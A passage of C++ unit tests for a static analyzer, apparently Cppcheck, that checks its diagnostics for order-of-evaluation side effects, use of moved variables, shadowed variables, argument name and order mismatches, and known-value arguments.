\" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack 